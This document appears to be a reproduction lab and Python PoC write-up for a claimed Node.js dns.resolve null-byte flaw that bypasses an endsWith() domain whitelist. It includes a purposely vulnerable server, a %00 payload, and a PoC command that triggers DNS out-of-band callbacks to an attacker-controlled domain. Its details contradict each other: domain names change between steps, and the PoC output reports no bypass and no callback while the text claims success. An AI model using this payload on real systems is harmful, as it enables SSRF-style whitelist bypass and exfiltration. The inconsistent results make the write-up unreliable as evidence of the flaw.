
Reproduction lab and Python PoC for CVE-2026-105482, a Node.js dns.resolve* null-byte truncation flaw that bypasses domain suffix whitelists and triggers DNS OOB callbacks.
dns.resolve* series of interfaces. The business layer implements whitelist approval solely by validating the domain suffix through the JS string endsWith(); when the underlying c-ares resolution library encounters the \x00 null byte, it truncates the domain name. An attacker can construct 可控域名\x00.可信后缀 to bypass the whitelist, resolve an external domain controlled by the attacker, and trigger DNS OOB exfiltrationThe business code directly uses endsWith(".trusted.corp") on the incoming host parameter to determine whether it belongs to a trusted domain suffix. This check is performed at the JavaScript string layer and will not automatically truncate \x00; after the parameter is passed to Node's built-in dns.resolve4, when the underlying c-ares C library resolves the domain name, it treats 0x00 as a string terminator, discards all content after the null byte, and resolves only the domain name before the null byte. Ultimately, the suffix whitelist restriction is bypassed, allowing access to any attacker-controlled domain.
sudo resolvectl flush-caches
const http = require("http");
const dns = require("dns");
const { URL } = require("url");
// 白名单后缀
const ALLOWED_SUFFIX = ".trusted.corp";
dns.setServers(["101.33.34.170"]);
const server = http.createServer((req, res) => {
try {
const u = new URL(req.url, `http://${req.headers.host}`);
const target = u.searchParams.get("host");
if (!target) {
return res.end("usage: /fetch?host=<name>");
}
// 打印原始字节hex,用来校验\x00是否成功传入
const rawBuf = Buffer.from(target);
console.log("resolve target raw hex:", rawBuf.toString("hex"));
console.log("resolve target string:", target);
// 业务侧后缀白名单校验(漏洞点:仅JS字符串判断,底层c-ares会截断\0)
if (!target.toLowerCase().endsWith(ALLOWED_SUFFIX)) {
res.statusCode = 403;
return res.end("DENY: not in whitelist suffix");
}
dns.resolve4(target, (err, addrs) => {
if (err) {
return res.end("resolve error: " + err.code);
}
res.end("RESOLVED: " + addrs);
});
} catch (e) {
res.statusCode = 400;
res.end("bad request");
}
});
server.listen(8888, "127.0.0.1", () => {
console.log("Vuln app listen on 127.0.0.1:8888");
});
node vuln.js
Successful startup output:
Vuln app listen on 127.0.0.1:8888

Open Yakit → DNSLog module, obtain a random subdomain. The domain used for this test: ==kptegraiue.zaza.eu.org==. Keep the page open and wait for DNS query logs.
First confirm the current public IP:
curl -4 ifconfig.me
In a new terminal, enter the POC directory and run the command:
python3 cve_2026_105482.py attack --url http://127.0.0.1:8888/fetch --method GET --format query --param host --suffix .trusted.corp --evil kptegraiue.zaza.eu.org --wait 3
Automatically encode and construct the Payload with the POC:
host=lfzdpphfop.lfcx.eu.org%00.trusted.corp

Observe the content printed by the node terminal:
Vuln app listen on 127.0.0.1:8888
resolve target raw hex: 6b7074656772616975652e7a617a612e65752e6f7267002e747275737465642e636f7270
resolve target string: kptegraiue.zaza.eu.org.trusted.corp
Verification point: the bytes 00 exist in the hex stream; the null byte passed in via the URL is successfully preserved and is not filtered out or dropped by the framework.
[*] inject host='kptegraiue.zaza.eu.org\\0.trusted.corp' -> http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp
[+] HTTP 200 in 0.49s
{
"cve": "CVE-2026-105482",
"bypass": false,
"attempts": [
{
"suffix": ".trusted.corp",
"value": "kptegraiue.zaza.eu.org\\0.trusted.corp",
"url": "http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp",
"status": 200,
"error": null,
"body_head": "RESOLVED: 101.33.34.170"
}
]
}
[-] no callback observed. Either the endpoint does not call dns.resolve* on this input, the suffix is wrong, or the target is patched.
HTTP returns 200, indicating the allowlist check passed and the DNS resolution process was entered.
Yakit captures the DNS query packet:
;; opcode: QUERY, status: NOERROR, id: 34647
;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;kptegraiue.zaza.eu.org. IN A
The queried domain is xadvgfkaik.zaza.eu.org after null-byte truncation, and the remote IP is the current network's public IP, proving the vulnerability was triggered successfully.

%00 null byte can successfully pass through the URL parameter and reach the backend variable;endsWith string validation logic is bypassed;\x00 and other non-printable control characters within domain parameters;dns.resolve*.